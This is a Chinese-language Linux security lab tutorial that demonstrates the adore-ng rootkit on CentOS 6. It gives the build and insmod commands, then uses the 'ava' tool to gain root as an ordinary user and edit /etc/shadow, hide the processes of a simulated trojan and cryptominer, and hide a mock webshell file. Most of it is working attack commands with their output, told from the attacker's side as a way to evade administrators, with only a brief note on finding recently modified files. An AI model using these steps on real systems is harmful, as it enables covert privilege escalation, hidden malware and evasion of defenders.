Linux下手动查杀木马过程

文章目录

1 使用rootkit把木马程序的父进程和木马文件隐藏（此章节实验需在CentOS 6下进行）
- 1.1Rootkit概述
- 1.2实战-通过rootkit隐蔽行踪
- - - 1、安装adore-ng
    - 2、测试，查看帮助：
  - 实战1：演示ava提权功能
  - - 1、准备测试环境
    - 2、创建一个普通用户
    - 3、通过ava命令提权，让普通用户xinsz08可以获得root权限
    - 4、使用r命令选项提权
    - 5、在别一个终端上查看，运行此vim进程的用户身份是root，说明提权成功
  - 实战2：隐藏你的木马程序
  - - 1、模拟一个木马程序：
    - 2、打开另一个终端，以root身份可以查看到木马程序
    - 3、隐藏进程
    - 4、打开另一个终端，以root身份无法查看到木马程序
  - 实战3：黑客隐藏木马程序文件
  - - 1、创建测试文件
    - 2、隐藏文件
    - 3、尝试找出来webshell.php

1 使用rootkit把木马程序的父进程和木马文件隐藏（此章节实验需在CentOS 6下进行）

1.1Rootkit概述

Rootkit概述：Rootkit是一种特殊的恶意软件，它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息，比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。我们接下来讲介绍 adore-ng （rootkit其中一种）的使用方法。注：adore [əˈdɔ:®] 崇拜
adore-ng可以在linux系统下实现：提权，隐藏进程号，隐藏文件等功能
官网：https://github.com/trimpsyw/adore-ng

1.2实战-通过rootkit隐蔽行踪

实战背景：当黑客已经上传了木马-》获得普通权限-》提权成root -》现在开始使用rootkit隐蔽行踪。

1、安装adore-ng

上传adore-ng-master.zip到linux系统上

root@xinsz08-1 yum.repos.d]# rpm  -ivh /mnt/Packages/kernel-devel-2.6.32-431.el6.x86_64.rpm  #安装依赖包
[root@zmedu63 ~]# unzip adore-ng-master.zip
[root@zmedu63 ~]# cd adore-ng-master
[root@zmedu63 adore-ng-master]# make -j 4            #编译，将源码编译成二进制文件，不需要执行make install 文件
[root@zmedu63 adore-ng-master]# insmod adore-ng.ko   #加载模块。

2、测试，查看帮助：

[root@zmedu63 adore-ng-master]# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file or PID]I print info (secret UID etc)h hide file  #隐藏文件u unhide filer execute as root  #可以提权，以root身份运行程序R remove PID foreverU uninstall adorei make PID invisible  #隐藏进程。隐藏你的木马程序v make PID visible

实战1：演示ava提权功能

1、准备测试环境

创建一个普通用户于测试。然后在普通用户上，通过ava命令，提权后，以root身份运行一个进程。
提权概述：提高自己在服务器中的权限，主要针对网站入侵过程中，当入侵某一网站时，通过各种漏洞提升普通用户的权限以夺得该服务器超级管理员权限。

2、创建一个普通用户

[root@xinsz08-1 ~]# useradd xinsz08
[root@xinsz08-1 ~]# echo 123456 |passwd --stdin xinsz08

3、通过ava命令提权，让普通用户xinsz08可以获得root权限

[root@zmedu63 adore-ng-master]# cp -r /root/adore-ng-master /tmp/    #复制木马程序到到/tmp，让普通用户xinsz08可以执行ava命令，方便演示提权
[root@zmedu63 adore-ng-master]# chmod 777 /tmp/adore-ng-master/ -R  #让xinsz08普通用户也可以使用木马程序
[root@zmedu63 adore-ng-master]# ssh xinsz08@192.168.1.63   #以普通帐号登录
[mk@zmedu63 ~]$ cd /tmp/adore-ng-master/

4、使用r命令选项提权

[mk@zmedu63 adore-ng-master]$ ll /etc/shadow    #普通用户对shadow没有权限
---------- 1 root root 1071 Apr  7 10:17 /etc/shadow
[mk@zmedu63 adore-ng-master]$ vim /etc/shadow  #发现打开，看不到内容，说明没有权限
使用ava提权
[mk@zmedu63 adore-ng-master]$  ./ava r vim /etc/shadow  #编辑时，可以写入一些内容，可以正常写入。说明提权成功。

5、在别一个终端上查看，运行此vim进程的用户身份是root，说明提权成功

[root@zmedu63 ~]#  ps -axu | grep shadow
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.7/FAQ
root      6874  0.1  0.1  10216  2924 pts/3    S+   04:12   0:00 /usr/bin/vim /etc/shadow
root      6879  0.0  0.0   4024   692 pts/2    S+   04:12   0:00 grep shadow

实战2：隐藏你的木马程序

1、模拟一个木马程序：

[mk@zmedu63 adore-ng-master]$ vim hack.sh
#!/bin/bash
while true
doecho `date` >> /tmp/date.txtsleep 1
done
[mk@zmedu63 adore-ng-master]$ chmod +x hack.sh    #赋予执行权限[root@zmedu63 adore-ng-master]$ ./hack.sh &         #后台执行

2、打开另一个终端，以root身份可以查看到木马程序

[root@zmedu63 ~]# ps -axu | grep hack.sh
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ
mk     6339  0.0  0.1 106148  1184 pts/3    S    10:32   0:00 /bin/bash ./hack.sh

3、隐藏进程

[mk@zmedu63 adore-ng-master]$ ./ava i  6339  #隐藏进程
56,500,500,56
Adore 1.56 installed. Good luck.
Made PID 6339 invisible.

4、打开另一个终端，以root身份无法查看到木马程序

[root@zmedu63 ~]# ps -axu | grep hack.sh  #已经找不到木马程序了
扩展：miner 矿工，  minerd是一个挖比特币的木马程序 ，很多服务器被黑后，在深夜默默挖矿或被用于流量攻击。
[mk@zmedu63 adore-ng-master]$ cp hack.sh minerd.sh  #模拟一个挖矿木马
[mk@zmedu63 adore-ng-master]$ ./minerd.sh &
[2] 4553
[mk@zmedu63 adore-ng-master]$ ./ava i 4553  #隐藏挖矿木马进程，这样管理员就找不出来谁占了CPU了。有一些黑客没有隐藏进程，就会被发现。 如下图，就是阿里云平台上发现的一个木马报警信息。

总结：当黑客隐藏进程后，找不出隐藏的进程，怎么办？当进程找不到时，可以查找一下被黑那天或前几天产生的新文件，进行分析。重点下可以让黑客在网页上上传文件的目录。如我的网站存储用户上传头像或图片的目录是/var/www/html/images ，那么可以执行：

[root@zmedu63 ~]# find /var/www/html/images  -mtime -1  #查找上传的文件

实战3：黑客隐藏木马程序文件

实战场景：因为运维人员，可以按时间查出我的木马，所以我们可以把文件隐藏后，再执行木马程序。然后再把进程隐藏了。这样运维人员，就彻底找不出后门了。

1、创建测试文件

[mk@zmedu63 adore-ng-master]$ mkdir test   #创建一个测试目录
[mk@zmedu63 adore-ng-master]$ cd test/
[mk@zmedu63 test]$ echo aaaa > webshell.php   #模拟一个木马
[mk@zmedu63 test]$ cat webshell.php
aaaa
[mk@zmedu63 test]$ touch b.php   #创建一个普通文件
[mk@zmedu63 test]$ ls
b.php  webshell.php

2、隐藏文件

[mk@zmedu63 test]$ /tmp/adore-ng-master/ava h webshell.php
56,500,500,56
Adore 1.56 installed. Good luck.
File 'webshell.php' is now hidden.

3、尝试找出来webshell.php

[mk@zmedu63 test]$ ls    #没有发现webshell.php文件。
b.php
[mk@localhost test]$ ls -a  #使用-a选项也没有发现webshell.php文件
.  ..  b.php尝试查找最近被黑客修改或创建的文件
[mk@zmedu63 test]$ find ./ -mtime -1   #还是没有发现
[mk@zmedu63 test]$ cat ./webshell.php  #黑客手动查看这个文件，还存在此目录下的，因为黑客自己知道文件的名字和路径，所以黑客自己还是可以执行木马的。
恢复出来：
[mk@zmedu63 test]$ /tmp/adore-ng-master/ava u webshell.php
56,500,500,56
Adore 1.56 installed. Good luck.
File 'webshell.php' is now visible.[mk@zmedu63 test]$ ls
b.php  webshell.php